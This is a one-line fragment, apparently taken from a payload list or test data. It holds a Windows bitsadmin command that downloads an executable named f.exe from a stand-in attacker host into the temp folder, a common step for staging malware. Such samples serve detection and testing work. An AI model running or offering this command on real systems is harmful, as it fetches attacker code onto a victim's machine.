bitsadmin /transfer j http://ATTACKER/f.exe %TEMP%\\f.exe\x0d